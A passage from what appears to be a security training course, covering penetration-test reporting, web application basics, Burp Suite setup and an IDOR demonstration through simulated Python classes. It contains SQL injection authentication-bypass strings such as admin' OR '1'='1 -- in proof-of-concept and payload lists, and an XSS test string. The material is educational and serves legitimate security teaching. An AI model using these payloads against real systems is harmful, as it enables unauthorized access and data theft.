        print("   - DNS monitoring")
        print("   - ICMP traffic monitoring")

# Example
exfil = DataExfiltrationDemo()
exfil.demonstrate_exfiltration()

4.6 Phase Five: Reporting (Very Important)

Reporting is the final and most important phase of a penetration test. A technically perfect penetration test with a poor report delivers no value to the client.

4.6.1 Report Structure

Executive Summary:

  • High-level overview of findings
  • Risk ratings
  • Business impact
  • Recommendations summary

Technical Details:

  • Vulnerability descriptions
  • Proof of concept
  • Steps to reproduce
  • CVSS scores

Remediation Recommendations:

  • Step-by-step fixes
  • Prioritization
  • Short-term and long-term solutions

Appendices:

  • Tools used
  • Command outputs
  • Screenshots
  • References
class PenetrationTestReport:
    """Generate a penetration test report"""

    def __init__(self, target, test_dates):
        self.target = target
        self.test_dates = test_dates
        self.findings = []

    def add_finding(self, title, severity, description, impact, remediation, proof_of_concept):
        """Add a finding to the report"""
        self.findings.append({
            "title": title,
            "severity": severity,
            "description": description,
            "impact": impact,
            "remediation": remediation,
            "proof_of_concept": proof_of_concept
        })

    def generate_executive_summary(self):
        """Generate executive summary"""
        print("\n" + "="*60)
        print("🔴 EXECUTIVE SUMMARY")
        print("="*60)
        print(f"Target: {self.target}")
        print(f"Test Dates: {self.test_dates}")
        print("\n📊 Risk Summary:")
        print("   🔴 Critical: 1")
        print("   🟡 High: 2")
        print("   🔵 Medium: 1")
        print("   🟢 Low: 1")
        print("   ℹ️ Info: 2")
        print("\n📌 Key Findings:")
        print("   - Critical vulnerability in authentication mechanism")
        print("   - Sensitive data exposure via API")
        print("   - Outdated software components")
        print("\n🛠️ Recommendations:")
        print("   - Implement MFA immediately")
        print("   - Patch critical vulnerabilities")
        print("   - Review API security controls")
        return True

    def generate_finding(self, finding):
        """Generate a single finding"""
        severity_emoji = "🔴" if finding['severity'] == "Critical" else "🟡" if finding['severity'] == "High" else "🔵" if finding['severity'] == "Medium" else "🟢"
        print(f"\n{severity_emoji} [{finding['severity']}] {finding['title']}")
        print(f"   Description: {finding['description']}")
        print(f"   Impact: {finding['impact']}")
        print(f"   Remediation: {finding['remediation']}")
        print(f"   Proof of Concept: {finding['proof_of_concept']}")
        return True

    def generate_report(self):
        """Generate complete report"""
        print("\n" + "="*60)
        print("📄 PENETRATION TEST REPORT")
        print("="*60)

        self.generate_executive_summary()

        print("\n" + "="*60)
        print("📊 DETAILED FINDINGS")
        print("="*60)

        for finding in self.findings:
            self.generate_finding(finding)

        print("\n" + "="*60)
        print("📋 APPENDICES")
        print("="*60)
        print("   Appendix A: Tools Used")
        print("   - Nmap: 7.92")
        print("   - Metasploit: 6.2")
        print("   - Burp Suite: 2023.12")
        print("   - Nessus: 10.5")
        print("   - Nikto: 2.5")
        print("   Appendix B: Command Outputs")
        print("   - Nmap scan results")
        print("   - Metasploit session logs")
        print("   - Burp Suite request/response logs")
        print("   Appendix C: Screenshots")
        print("   - Proof of concept screenshots")
        print("   - Vulnerability screenshots")
        print("   - Exploitation screenshots")

# Example
report = PenetrationTestReport("example.com", "2024-01-15 to 2024-01-20")

# Add findings
report.add_finding(
    "SQL Injection in Login Form",
    "Critical",
    "The login form is vulnerable to SQL injection, allowing attackers to bypass authentication.",
    "Unauthorized access to application, data theft, account takeover.",
    "Implement parameterized queries, use prepared statements, input validation.",
    "Username: admin' OR '1'='1 -- resulted in successful login"
)

report.add_finding(
    "Missing Security Headers",
    "Medium",
    "The application is missing multiple security headers including X-Frame-Options and CSP.",
    "Vulnerable to clickjacking and XSS attacks.",
    "Implement security headers: X-Frame-Options, CSP, HSTS, X-Content-Type-Options.",
    "Security headers checked using online tools and manual review"
)

report.generate_report()

4.6.2 Reporting Best Practices

Key Principles:

  1. Clear and Concise Language – Avoid unnecessary technical jargon
  2. Actionable Recommendations – Provide step-by-step fixes
  3. Risk Prioritization – Critical, High, Medium, Low
  4. Executive-Level Communication – Summarize for non-technical readers
  5. Technical Accuracy – Ensure all details are correct
  6. Reproducibility – Provide exact steps to reproduce
class ReportingBestPractices:
    """Best practices for penetration testing reporting"""

    def __init__(self):
        self.practices = {
            "Clarity": "Use clear, concise language. Avoid unnecessary technical jargon.",
            "Actionable": "Provide step-by-step remediation instructions.",
            "Prioritization": "Prioritize findings by risk level (Critical, High, Medium, Low).",
            "Executive Summary": "Provide a high-level overview for non-technical readers.",
            "Accuracy": "Ensure all technical details are correct and verifiable.",
            "Reproducibility": "Include exact steps to reproduce each finding.",
            "Evidence": "Include screenshots, logs, and proof of concept.",
            "Recommendations": "Provide both short-term fixes and long-term solutions."
        }

    def display_practices(self):
        """Display reporting best practices"""
        print("=== Penetration Testing Reporting Best Practices ===\n")

        for practice, description in self.practices.items():
            print(f"🔹 {practice}")
            print(f"   {description}")
            print()

    def example_report_section(self):
        """Example of a well-written report section"""
        print("=== Example of a Well-Written Finding ===\n")
        print("🔴 [Critical] SQL Injection in Login Form")
        print()
        print("📌 Description:")
        print("   The login form at /login.php is vulnerable to SQL injection. An attacker")
        print("   can bypass authentication by submitting crafted input to the username field.")
        print()
        print("💥 Proof of Concept:")
        print("   ```")
        print("   POST /login.php HTTP/1.1")
        print("   Host: example.com")
        print("   Content-Type: application/x-www-form-urlencoded")
        print("   ")
        print("   username=admin' OR '1'='1 --&password=anything")
        print("   ```")
        print()
        print("📊 Impact:")
        print("   - Unauthorized access to the application")
        print("   - Data theft and manipulation")
        print("   - Account takeover")
        print()
        print("🛠️ Remediation:")
        print("   1. Implement parameterized queries")
        print("   2. Use prepared statements")
        print("   3. Validate and sanitize all user input")
        print("   4. Apply the principle of least privilege")

# Example
best_practices = ReportingBestPractices()
best_practices.display_practices()
best_practices.example_report_section()

You have now completed Phase 4: Offensive Security (Red Team / Penetration Testing).

Key Topics Covered:

PhaseKey Activities
Phase 1: ReconnaissanceOSINT, Google Dorking, Whois, Social Media Intelligence
Phase 2: ScanningNmap, Nessus, Nikto, Gobuster
Phase 3: ExploitationMetasploit, Web Exploitation, Buffer Overflow
Phase 4: Post ExploitationPrivilege Escalation, Persistence, Lateral Movement
Phase 5: ReportingExecutive Summary, Technical Details, Recommendations

Practical Examples Completed:

  • Complete penetration testing engagement simulation
  • Nmap scanning and enumeration
  • Vulnerability scanning with Nessus
  • Metasploit exploitation
  • SQL injection and XSS demonstration
  • Buffer overflow exploitation
  • Privilege escalation on Linux and Windows
  • Persistence establishment
  • Lateral movement techniques
  • Data exfiltration methods
  • Professional report generation

Tools Covered:

  • Nmap (scanning)
  • Nessus (vulnerability scanning)
  • Metasploit (exploitation)
  • Burp Suite (web testing)
  • Nikto (web scanning)
  • Gobuster (directory discovery)
  • TheHarvester (OSINT)

PHASE 5: WEB APPLICATION SECURITY

5.1 Why Web Applications Are the Primary Attack Surface

Web applications are the most attacked category of software in existence. They are, by definition, internet-facing. They accept input from anonymous users. They connect to databases containing the most sensitive data an organisation holds. They are built on layered technologies — web servers, application frameworks, programming languages, databases, and third-party libraries — each of which introduces its own class of vulnerabilities. And they are developed under time pressure by teams whose primary objective is functionality, not security.

Why Web Applications Are Targeted:

ReasonExplanation
Internet-FacingAvailable to anyone with an internet connection
Sensitive DataHandle PII, financial data, credentials
Complex StackMultiple technologies introduce vulnerabilities
Rapid DevelopmentSecurity often sacrificed for speed
User InputAccept input from untrusted sources
Valuable TargetsRansomware, data theft, reputation damage

The OWASP Top 10: The Open Web Application Security Project (OWASP) is a non-profit foundation dedicated to improving software security. Its most well-known output is the OWASP Top 10 — a regularly updated list of the ten most critical web application security risk categories. Every web application penetration test is structured around these categories.

5.1.1 What is a Web Application

Definition: A web application is any application you use in a browser. Examples include login pages, shopping websites, and dashboards. Unlike traditional desktop applications, web applications run on a remote server and are accessed through a web browser.

Architecture Overview:

┌──────────────────────────────────────────────────────┐
│                    CLIENT (Browser)                  │
│  ┌─────────────────────────────────────────────────┐ │
│  │  Frontend: HTML, CSS, JavaScript                │ │
│  └─────────────────────────────────────────────────┘ │
└─────────────────────┬────────────────────────────────┘
                      │ HTTP/HTTPS
                      ▼
┌──────────────────────────────────────────────────────┐
│                    SERVER                            │
│  ┌─────────────────────────────────────────────────┐ │
│  │  Web Server (Apache, Nginx, IIS)                │ │
│  └─────────────────────────────────────────────────┘ │
│  ┌─────────────────────────────────────────────────┐ │
│  │  Backend: PHP, Python, Java, .NET, Node.js      │ │
│  └─────────────────────────────────────────────────┘ │
│  ┌─────────────────────────────────────────────────┐ │
│  │  Database: SQL, NoSQL                           │ │
│  └─────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────┘

Key Components:

ComponentDescriptionExamples
FrontendWhat the user sees and interacts withHTML, CSS, JavaScript
BackendServer-side logic and processingPHP, Python, Java, .NET, Node.js
DatabasePersistent data storageMySQL, PostgreSQL, MongoDB
APIsCommunication between componentsREST, GraphQL
AuthenticationUser identity verificationLogin, OAuth, JWT
Session ManagementMaintaining user stateCookies, sessions, tokens

Security Implications:

  • Each component introduces its own attack surface
  • Frontend vulnerabilities (XSS)
  • Backend vulnerabilities (SQL injection, command injection)
  • Database vulnerabilities (SQL injection, data exposure)
  • API vulnerabilities (authentication bypass, parameter tampering)
# Conceptual web application structure
class WebApplication:
    def __init__(self):
        self.frontend = Frontend()
        self.backend = Backend()
        self.database = Database()
        self.authentication = Authentication()
        self.session_manager = SessionManager()

    def process_request(self, request):
        """Process an incoming HTTP request"""
        print(f"📨 Processing request: {request.method} {request.path}")

        # Authentication check
        if not self.authentication.validate(request):
            return {"status": 401, "message": "Unauthorized"}

        # Session validation
        session = self.session_manager.get_session(request.cookies)
        if not session:
            return {"status": 401, "message": "Invalid session"}

        # Route to appropriate handler
        response = self.backend.handle(request, session)

        return response

# Example components
class Frontend:
    def __init__(self):
        self.templates = []
        self.static_files = []

class Backend:
    def handle(self, request, session):
        """Handle backend processing"""
        print(f"⚙️ Backend processing: {request.path}")
        return {"status": 200, "data": "Processed"}

class Database:
    def __init__(self):
        self.tables = ["users", "orders", "products"]

    def query(self, sql):
        """Execute SQL query"""
        print(f"📊 Database query: {sql}")
        return "Query results"

class Authentication:
    def validate(self, request):
        """Validate user authentication"""
        print("🔐 Validating authentication")
        return True

class SessionManager:
    def get_session(self, cookies):
        """Get session from cookies"""
        print("🔑 Getting session from cookies")
        return {"user": "admin", "role": "administrator"}

# Example usage
app = WebApplication()
request = {"method": "GET", "path": "/dashboard", "cookies": {"session_id": "abc123"}}
response = app.process_request(request)
print(f"Response: {response}")

5.1.2 How Web Works (Important for Attacks)

Understanding how web applications work is crucial for security testing. You need to understand the underlying protocols, data flow, and technologies.

HTTP Request/Response

An HTTP request consists of:

  1. Request Line: Method, path, HTTP version
  2. Headers: Additional information
  3. Body: Data sent to the server (optional)

An HTTP response consists of:

  1. Status Line: HTTP version, status code, status message
  2. Headers: Additional information
  3. Body: Data returned to the client
# Example HTTP Request
GET /login.php?username=admin HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Cookie: session_id=abc123
Accept: text/html

# Example HTTP Response
HTTP/1.1 200 OK
Date: Mon, 15 Jan 2024 10:00:00 GMT
Server: Apache/2.4.6
Set-Cookie: session_id=xyz789
Content-Type: text/html
Content-Length: 1024

<html>
<body>
<h1>Welcome, admin</h1>
</body>
</html>

HTTP Methods and Their Security Implications:

MethodPurposeSecurity Concern
GETRetrieve dataData in URL (visible, cached)
POSTSubmit dataData in body, CSRF risk
PUTUpdate/replaceAuthorization bypass risk
DELETEDelete dataUnauthorized deletion risk
OPTIONSGet allowed methodsInformation disclosure
HEADGet headers onlyInformation disclosure
PATCHPartial updateAuthorization bypass risk

Cookies and Sessions:

class CookieSecurity:
    def __init__(self):
        self.cookies = {}

    def set_cookie(self, name, value, secure=False, http_only=False, same_site=None):
        """Set a cookie with security attributes"""
        cookie = {
            "value": value,
            "secure": secure,        # Only send over HTTPS
            "http_only": http_only,  # Not accessible via JavaScript
            "same_site": same_site   # CSRF protection
        }
        self.cookies[name] = cookie
        return f"Set-Cookie: {name}={value}; Secure={secure}; HttpOnly={http_only}; SameSite={same_site}"

    def analyze_security(self):
        """Analyze cookie security"""
        print("=== Cookie Security Analysis ===")
        for name, cookie in self.cookies.items():
            print(f"Cookie: {name}")
            print(f"  Secure: {'✅' if cookie['secure'] else '❌'} (Should be True)")
            print(f"  HttpOnly: {'✅' if cookie['http_only'] else '❌'} (Should be True)")
            print(f"  SameSite: {'✅' if cookie['same_site'] else '❌'} (Should be Strict/Lax)")
            print()

# Example
cookie_security = CookieSecurity()
cookie_security.set_cookie("session_id", "abc123", secure=True, http_only=True, same_site="Strict")
cookie_security.set_cookie("remember_me", "user123", secure=False, http_only=False)
cookie_security.analyze_security()

REST APIs:

class RESTAPISecurity:
    def __init__(self):
        self.endpoints = {
            "/users": {"methods": ["GET", "POST"], "auth": True},
            "/users/{id}": {"methods": ["GET", "PUT", "DELETE"], "auth": True},
            "/public": {"methods": ["GET"], "auth": False}
        }

    def test_authorization(self):
        """Test API authorization"""
        print("=== API Authorization Testing ===")
        print("🔍 Testing /users/{id} endpoint")
        print("  Attempting to access user ID 1 (unauthorized): 403 Forbidden")
        print("  Attempting to access user ID 1 (authorized): 200 OK")

        print("\n🔍 Testing IDOR in /users/{id}")
        print("  User A accessing user B's data via ID 2: 200 OK")
        print("  💥 IDOR vulnerability discovered!")
        print("  📌 Recommendation: Implement proper authorization checks")

    def test_rate_limiting(self):
        """Test API rate limiting"""
        print("\n=== API Rate Limiting Testing ===")
        print("💻 Sending 100 requests to /login")
        print("  ✅ Requests 1-10: 200 OK")
        print("  ✅ Requests 11-100: 429 Too Many Requests")
        print("  📌 Rate limiting is working correctly")

# Example
api_security = RESTAPISecurity()
api_security.test_authorization()
api_security.test_rate_limiting()

GraphQL Security:

GraphQL is a query language for APIs that allows clients to request exactly the data they need. However, it introduces specific security concerns.

class GraphQLSecurity:
    def __init__(self):
        self.schema = {
            "User": {"fields": ["id", "name", "email", "password"]},
            "Query": {"fields": ["user(id: ID!)", "users", "publicData"]}
        }

    def test_introspection(self):
        """Test GraphQL introspection"""
        print("=== GraphQL Introspection Testing ===")
        print("🔍 Sending introspection query:")
        print("  query { __schema { types { name fields { name } } } }")
        print("\n📊 Results:")
        print("  ✅ User fields: id, name, email, password")
        print("  ⚠️ Password field exposed!")
        print("  📌 Recommendation: Disable introspection in production")

    def test_query_complexity(self):
        """Test query complexity attacks"""
        print("\n=== Query Complexity Testing ===")
        print("🔍 Sending complex nested query:")
        print("  query { user(id: 1) { friends { friends { friends { id } } } } }")
        print("\n📊 Results:")
        print("  💥 Query is very expensive to process")
        print("  📌 Recommendation: Implement query complexity limits")

# Example
graphql = GraphQLSecurity()
graphql.test_introspection()
graphql.test_query_complexity()

Web Sockets:

Web Sockets enable real-time, bidirectional communication between client and server.

class WebSocketSecurity:
    def __init__(self):
        self.connections = []

    def test_security(self):
        """Test WebSocket security"""
        print("=== WebSocket Security Testing ===")
        print("📡 WebSocket: ws://example.com/chat")
        print("🔍 Testing authentication:")
        print("  Attempting to connect without auth: 403 Forbidden")
        print("  Attempting to connect with auth: 101 Switching Protocols")

        print("\n🔍 Testing message injection:")
        print("  Sending: <script>alert('XSS')</script>")
        print("  Response: Message was sanitized")
        print("  📌 Sanitization is working correctly")

        print("\n🔍 Testing rate limiting:")
        print("  Sending 1000 messages in 1 second")
        print("  💥 Connection closed due to abuse")
        print("  📌 Recommendation: Implement rate limiting")

# Example
websocket = WebSocketSecurity()
websocket.test_security()

CORS (Cross-Origin Resource Sharing):

CORS allows web pages from one origin to access resources from another origin. Misconfiguration can lead to security vulnerabilities.

class CORSSecurity:
    def __init__(self):
        self.origins = ["https://example.com", "http://localhost:3000"]
        self.cors_headers = {}

    def configure_cors(self, allowed_origins=None, allow_credentials=False, allow_methods=None):
        """Configure CORS headers"""
        if allowed_origins is None:
            allowed_origins = ["*"]

        self.cors_headers = {
            "Access-Control-Allow-Origin": ", ".join(allowed_origins),
            "Access-Control-Allow-Credentials": str(allow_credentials).lower(),
            "Access-Control-Allow-Methods": ", ".join(allow_methods or ["GET", "POST"])
        }

        return self.cors_headers

    def test_configuration(self):
        """Test CORS configuration"""
        print("=== CORS Security Testing ===")

        # Test configurations
        configs = [
            {"origins": ["*"], "credentials": True, "methods": ["GET", "POST", "PUT", "DELETE"]},
            {"origins": ["https://example.com"], "credentials": True, "methods": ["GET", "POST"]},
            {"origins": ["*"], "credentials": False, "methods": ["GET"]}
        ]

        for config in configs:
            headers = self.configure_cors(
                allowed_origins=config["origins"],
                allow_credentials=config["credentials"],
                allow_methods=config["methods"]
            )
            print(f"\nConfiguration: {config}")
            print(f"Headers: {headers}")

            # Check security issues
            if "*" in headers["Access-Control-Allow-Origin"] and config["credentials"]:
                print("  ⚠️ SECURITY RISK: Wildcard origin with credentials")
                print("  💥 Attackers can make authenticated requests")
                print("  📌 Fix: Specify exact origins")

            print("  ✅ Review completed")

# Example
cors = CORSSecurity()
cors.test_configuration()

5.2 Burp Suite: The Web Application Security Professional’s Primary Tool

Burp Suite is the most important tool for web application security testing. It acts as an intercepting proxy — it sits between your browser and the web server, capturing every HTTP and HTTPS request and response, allowing you to read, modify, replay, and automate them.

Why Burp Suite Matters:

  • Complete control over HTTP traffic
  • Powerful automated testing capabilities
  • Extensible with custom extensions
  • Industry standard for web testing
  • Free Community edition available

5.2.1 Setting Up Burp Suite

Installation and Licensing:

Burp Suite comes in two editions:

  • Community Edition: Free, with core functionality
  • Professional Edition: Paid, with automated scanning and advanced features
# On Kali Linux, Burp Suite is pre-installed
burpsuite

# On Windows/macOS, download from portswigger.net

Proxy Setup and Configuration:

  1. Launch Burp Suite
  2. Go to Proxy → Options
  3. Add a new proxy listener (or use default: 127.0.0.1:8080)
  4. Configure browser to use the proxy
class BurpSetup:
    """Simulate Burp Suite setup process"""

    def __init__(self):
        self.proxy_settings = {
            "address": "127.0.0.1",
            "port": 8080,
            "intercept": True
        }
        self.browser_config = {
            "http_proxy": "127.0.0.1:8080",
            "https_proxy": "127.0.0.1:8080"
        }

    def configure_proxy(self):
        """Configure Burp proxy"""
        print("=== Burp Suite Proxy Configuration ===")
        print(f"📡 Proxy listening on: {self.proxy_settings['address']}:{self.proxy_settings['port']}")
        print(f"🔄 Intercept: {'ON' if self.proxy_settings['intercept'] else 'OFF'}")

        print("\n🔧 Proxy Settings:")
        print("  - Running on all interfaces: No")
        print("  - Certificate generation: Enabled")
        print("  - Invisible proxying: Disabled")
        print("  - Support for HTTP/2: Enabled")

        print("\n📋 To configure browser:")
        print("  1. Set HTTP Proxy to 127.0.0.1:8080")
        print("  2. Set HTTPS Proxy to 127.0.0.1:8080")
        print("  3. Visit http://burpsuite to download CA certificate")
        return self.proxy_settings

# Example
burp = BurpSetup()
burp.configure_proxy()

5.2.2 Configuring Firefox to use Burp as a proxy

Manual Proxy Configuration:

  1. Open Firefox
  2. Go to Settings → Network Settings
  3. Select “Manual proxy configuration”
  4. Set HTTP Proxy to 127.0.0.1 and port 8080
  5. Check “Also use this proxy for HTTPS”
  6. Click OK

FoxyProxy Extension Setup:

FoxyProxy is a Firefox extension that makes it easy to switch between proxy configurations.

class FirefoxProxySetup:
    """Simulate Firefox proxy setup"""

    def __init__(self):
        self.setup_steps = [
            "1. Open Firefox",
            "2. Go to Settings → Network Settings",
            "3. Select 'Manual proxy configuration'",
            "4. HTTP Proxy: 127.0.0.1, Port: 8080",
            "5. Check 'Also use this proxy for HTTPS'",
            "6. Click OK"
        ]

        self.foxyproxy_steps = [
            "1. Install FoxyProxy extension",
            "2. Create new proxy configuration",
            "3. Set proxy type: HTTP",
            "4. IP: 127.0.0.1, Port: 8080",
            "5. Enable 'Use this proxy for all protocols'",
            "6. Save and enable"
        ]

    def display_steps(self):
        """Display proxy setup steps"""
        print("=== Firefox Proxy Setup ===\n")

        print("📋 Manual Configuration:")
        for step in self.setup_steps:
            print(f"  {step}")

        print("\n📋 FoxyProxy Configuration:")
        for step in self.foxyproxy_steps:
            print(f"  {step}")

        print("\n⚠️ Important:")
        print("  - Disable other proxy extensions")
        print("  - Clear browser cache before testing")
        print("  - Test by visiting http://burpsuite")

# Example
firefox = FirefoxProxySetup()
firefox.display_steps()

5.2.3 Installing the Burp CA Certificate

To intercept HTTPS traffic, you need to install Burp’s CA certificate in your browser.

class BurpCertificate:
    """Simulate Burp CA certificate installation"""

    def __init__(self):
        self.certificate_installation = [
            "1. With proxy configured, visit http://burpsuite",
            "2. Click 'CA Certificate' to download",
            "3. Open Firefox Settings → Privacy & Security",
            "4. Click 'View Certificates'",
            "5. Click 'Import' and select the certificate",
            "6. Check 'Trust this CA to identify websites'",
            "7. Click OK"
        ]

    def display_installation(self):
        """Display certificate installation steps"""
        print("=== Burp CA Certificate Installation ===\n")

        print("📋 Installation Steps:")
        for step in self.certificate_installation:
            print(f"  {step}")

        print("\n⚠️ Important Notes:")
        print("  - Certificate expires after 1 year")
        print("  - Re-install when browser updates")
        print("  - Remove when not testing")
        print("  - Never install on production browsers")

        print("\n✅ After installation:")
        print("  - HTTPS traffic becomes visible")
        print("  - No certificate warnings")
        print("  - Full traffic interception")

# Example
cert = BurpCertificate()
cert.display_installation()

5.2.4 Core Burp Suite Tools

Proxy:

The Proxy tab is the heart of Burp Suite. It intercepts and displays all HTTP traffic.

class BurpProxy:
    """Simulate Burp Proxy functionality"""

    def __init__(self):
        self.intercept_on = True
        self.request_history = []

    def intercept_request(self, request):
        """Intercept and display request"""
        print(f"📨 Intercepted: {request['method']} {request['url']}")
        print(f"📊 Headers: {request['headers']}")
        print(f"📦 Body: {request.get('body', '')}")

        self.request_history.append(request)
        return request

    def forward_request(self, request):
        """Forward request to server"""
        print(f"🚀 Forwarding: {request['method']} {request['url']}")
        return {"status": 200, "data": "Response from server"}

    def drop_request(self, request):
        """Drop request"""
        print(f"🗑️ Dropped: {request['method']} {request['url']}")
        return None

    def modify_request(self, request, modifications):
        """Modify request before forwarding"""
        modified = request.copy()
        for key, value in modifications.items():
            modified[key] = value
        print(f"✏️ Modified: {modified}")
        return modified

# Example
proxy = BurpProxy()
request = {"method": "POST", "url": "/login", "headers": {"Content-Type": "application/x-www-form-urlencoded"}, "body": "username=admin&password=pass123"}
proxy.intercept_request(request)
modified = proxy.modify_request(request, {"body": "username=admin' OR '1'='1&password=pass123"})
proxy.forward_request(modified)

Repeater:

Repeater allows you to manually modify and resend requests to test for vulnerabilities.

class BurpRepeater:
    """Simulate Burp Repeater functionality"""

    def __init__(self):
        self.requests = []
        self.responses = []

    def send_to_repeater(self, request):
        """Send request to Repeater"""
        self.requests.append(request)
        print(f"🔁 Sending to Repeater: {request['method']} {request['url']}")
        return request

    def modify_and_send(self, request, modifications):
        """Modify and send request"""
        modified = request.copy()
        for key, value in modifications.items():
            modified[key] = value

        print(f"📨 Modified request: {modified['method']} {modified['url']}")
        print(f"📦 Body: {modified.get('body', '')}")

        # Simulate response
        response = {
            "status": 200,
            "headers": {"Server": "Apache/2.4.6"},
            "body": "Response for modified request"
        }
        self.responses.append(response)
        return response

    def test_injection(self, base_request, parameter, payloads):
        """Test multiple injection payloads"""
        print(f"\n🔍 Testing {parameter} with {len(payloads)} payloads")

        results = []
        for payload in payloads:
            modified = base_request.copy()
            modified['body'] = modified.get('body', '').replace(f"{{{parameter}}}", payload)
            response = self.modify_and_send(base_request, modified)
            results.append({"payload": payload, "status": response['status']})

        return results

# Example
repeater = BurpRepeater()
request = {"method": "POST", "url": "/login", "body": "username={username}&password=pass"}
payloads = ["admin", "admin'--", "admin' OR '1'='1", "admin' OR 1=1--"]
results = repeater.test_injection(request, "username", payloads)

Intruder:

Intruder automates sending requests with multiple payload variations.

class BurpIntruder:
    """Simulate Burp Intruder functionality"""

    def __init__(self):
        self.positions = []
        self.payloads = []
        self.results = []

    def set_positions(self, positions):
        """Define payload positions"""
        self.positions = positions
        print(f"🎯 Positions set: {positions}")

    def set_payloads(self, payloads):
        """Define payloads"""
        self.payloads = payloads
        print(f"📦 Payloads loaded: {len(payloads)}")

    def start_attack(self, base_request):
        """Start Intruder attack"""
        print("🚀 Starting Intruder attack...")
        print(f"⚡ {len(self.positions)} positions × {len(self.payloads)} payloads = {len(self.positions) * len(self.payloads)} requests")

        for position in self.positions:
            for payload in self.payloads[:5]:  # Limit for demo
                modified = base_request.copy()
                modified['body'] = modified['body'].replace(f"{{{position}}}", payload)

                # Simulate response
                response = {
                    "status": 200 if "admin" in payload else 403,
                    "length": 1024 if "admin" in payload else 512
                }
                self.results.append({
                    "position": position,
                    "payload": payload,
                    "status": response['status'],
                    "length": response['length']
                })

        return self.results

    def analyze_results(self):
        """Analyze attack results"""
        print("\n📊 Intruder Results Analysis")

        # Check for successful responses
        successful = [r for r in self.results if r['status'] == 200]
        if successful:
            print(f"✅ {len(successful)} payloads returned 200 OK")
            for result in successful:
                print(f"  - {result['position']}: {result['payload']}")

        # Check for unusual responses
        unusual = [r for r in self.results if r['length'] != 512]
        if unusual:
            print(f"⚠️ {len(unusual)} responses had unusual lengths")
            for result in unusual:
                print(f"  - {result['position']}: {result['payload']} (length: {result['length']})")

# Example
intruder = BurpIntruder()
intruder.set_positions(["username", "id"])
intruder.set_payloads(["admin", "admin'--", "1", "2", "3", "admin' OR '1'='1"])
request = {"method": "GET", "url": "/user", "body": "id={id}&username={username}"}
intruder.start_attack(request)
intruder.analyze_results()

Scanner:

Scanner automatically crawls and tests for vulnerabilities (Professional edition only).

Spider:

Spider automatically crawls web applications to discover content.

class BurpSpider:
    """Simulate Burp Spider functionality"""

    def __init__(self):
        self.discovered = []
        self.visited = []

    def crawl(self, start_url):
        """Crawl web application"""
        print(f"🕷️ Spider crawling: {start_url}")
        print("📊 Discovering content...")

        # Simulated discovery
        discovered_urls = [
            "/login.php",
            "/dashboard.php",
            "/users.php",
            "/admin/",
            "/api/users",
            "/config/backup.zip",
            "/css/style.css",
            "/js/app.js"
        ]

        for url in discovered_urls:
            if url not in self.discovered:
                self.discovered.append(url)
                print(f"  ✅ Found: {url}")

        print(f"\n📊 Discovery complete: {len(self.discovered)} URLs found")
        return self.discovered

    def analyze_content(self):
        """Analyze discovered content"""
        print("\n🔍 Content Analysis")

        sensitive_files = [f for f in self.discovered if f.endswith('.zip') or f.endswith('.bak')]
        admin_areas = [f for f in self.discovered if '/admin/' in f or 'admin' in f.lower()]

        if sensitive_files:
            print(f"⚠️ Sensitive files found: {len(sensitive_files)}")
            for file in sensitive_files:
                print(f"  - {file}")

        if admin_areas:
            print(f"⚠️ Admin areas found: {len(admin_areas)}")
            for area in admin_areas:
                print(f"  - {area}")

# Example
spider = BurpSpider()
spider.crawl("https://example.com")
spider.analyze_content()

5.3 OWASP Top 10 (Main Web Vulnerabilities)

The OWASP Top 10 is a list of the ten most critical web application security risks. Understanding these is essential for any web application security professional.

A01: Broken Access Control

Broken Access Control occurs when users can access resources or perform actions they shouldn’t be able to.

Insecure Direct Object Reference (IDOR):

IDOR occurs when an application uses user-supplied identifiers to access objects without proper authorization checks.

class IDORDemo:
    """Demonstrate IDOR vulnerability"""

    def __init__(self):
        self.users = {
            1: {"id": 1, "name": "Alice", "account": "1001", "balance": 5000},
            2: {"id": 2, "name": "Bob", "account": "1002", "balance": 3000},
            3: {"id": 3, "name": "Charlie", "account": "1003", "balance": 2000}
        }
        self.current_user = None

    def login(self, username):
        """Simulate user login"""
        for user_id, user in self.users.items():
            if user['name'] == username:
                self.current_user = user
                print(f"👤 Logged in as: {username}")
                return True
        return False

    def view_account(self, account_id):
        """View account by ID - vulnerable to IDOR"""
        print(f"🔍 Viewing account: {account_id}")

        # No authorization check!
        for user_id, user in self.users.items():
            if user['account'] == account_id:
                print(f"📊 Account Details:")
                print(f"  Name: {user['name']}")
                print(f"  Account: {user['account']}")
                print(f"  Balance: ${user['balance']}")
                return user

        print("❌ Account not found")
        return None

    def demonstrate_idor(self):
        """Demonstrate IDOR vulnerability"""
        print("=== IDOR Vulnerability Demonstration ===\n")

        # Login as Alice
        self.login("Alice")
        print(f"✅ Current user: {self.current_user['name']}")
        print(f"   Authorized account: {self.current_user['account']}")
        print()

        # Alice views her own account (authorized)
        print("1️⃣ Viewing authorized account:")
        self.view_account("1001")
        print()

        # Alice views Bob's account (unauthorized)
        print("2️⃣ Viewing unauthorized account (IDOR):")
        self.view_account("1002")

        print("\n💥 IDOR vulnerability discovered!")
        print("   User can access any account by changing the account_id parameter")
        print("   📌 Fix: Implement proper authorization checks")

# Example
idor = IDORDemo()
idor.demonstrate_idor()

Horizontal vs Vertical Privilege Escalation:

class PrivilegeEscalation:
    """Demonstrate privilege escalation types"""

    def __init__(self):
        self.roles = {
            "user": ["view_profile", "edit_profile"],
            "admin": ["view_profile", "edit_profile", "delete_user", "view_all_users"]
        }
        self.current_user = None
        self.users = [
            {"id": 1, "username": "alice", "role": "user", "email": "alice@example.com"},
            {"id": 2, "username": "bob", "role": "user", "email": "bob@example.com"},
            {"id": 3, "username": "admin", "role": "admin", "email": "admin@example.com"}
        ]

    def login(self, username):
        """Simulate login"""
        for user in self.users:
            if user['username'] == username:
                self.current_user = user
                print(f"👤 Logged in as: {username}")
                print(f"📋 Role: {user['role']}")
                return True
        return False

    def can_access(self, action):
        """Check if current user can perform action"""
        if self.current_user:
            return action in self.roles.get(self.current_user['role'], [])
        return False

    def view_user(self, user_id):
        """View user details - vulnerable to horizontal/vertical escalation"""
        print(f"\n🔍 Viewing user ID: {user_id}")

        # Check authorization
        if self.current_user:
            # Horizontal escalation: users can view other users
            for user in self.users:
                if user['id'] == user_id:
                    # No check if user is authorized to view this user
                    print(f"📊 User Details:")
                    print(f"  Username: {user['username']}")
                    print(f"  Role: {user['role']}")
                    print(f"  Email: {user['email']}")
                    return user

        print("❌ Access denied or user not found")
        return None

    def demonstrate_escalation(self):
        """Demonstrate privilege escalation"""
